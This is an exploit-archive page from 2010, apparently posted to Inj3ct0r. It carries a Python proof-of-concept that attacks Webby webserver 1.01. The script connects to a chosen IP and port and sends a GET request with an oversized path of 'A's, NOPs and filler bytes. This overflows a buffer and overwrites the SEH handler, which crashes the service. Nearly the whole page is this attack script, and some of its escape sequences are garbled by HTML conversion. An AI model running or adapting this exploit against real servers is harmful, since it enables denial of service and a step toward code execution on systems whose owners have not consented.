Home / os / win7

Webby webserver SEH control (0day) PoC

Posted on 25 May 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Webby webserver SEH control (0day) PoC</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>====================================== Webby webserver SEH control (0day) PoC ====================================== #!/usr/bin/python ##POC details: ## ##SEH overwritten ## ##contact: m1k3@m1k3.at ## http://www.s3cur1ty.de ##App detail: ## #http://www.shareware.de/webby-webserver/ #Version 1.01 #Autor Timo Gaik #Lizenzart Freeware #Plattformen Win XP, Win 98, Win ME #Letztes Update 19.10.2004 #Dateigroesse 701 KB import socket import sys import os.path import time if len(sys.argv) &lt; 2: print &quot;Usage: webby.py &lt;IP-Adr&gt; &lt;port&gt;&quot; sys.exit(0) ips = sys.argv[1] port = int(sys.argv[2]) string = &quot;A&quot;*790 string += &quot;x90&quot;*4 string += &quot;x42&quot;*105 method = &quot;GET&quot; print &quot;starting POC for:&quot;, ips print &quot;&quot; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: connect=s.connect((ips, port)) except: print &quot;no connection possible&quot; sys.exit(1) payload = method + ' http://'+ ips + '/' + string + ' HTTP/1.0x0dx0ax0dx0a' print &quot; sending payload&quot; print &quot; using methode %s with buffersize of: %s&quot; % (method,str(len(string))) print &quot;...&quot; print payload s.send(payload) print &quot;finished kicking method %s with payload %s&quot; % (method,payload) print &quot;... the service should be crashed ... check SEH&quot; # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-25]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP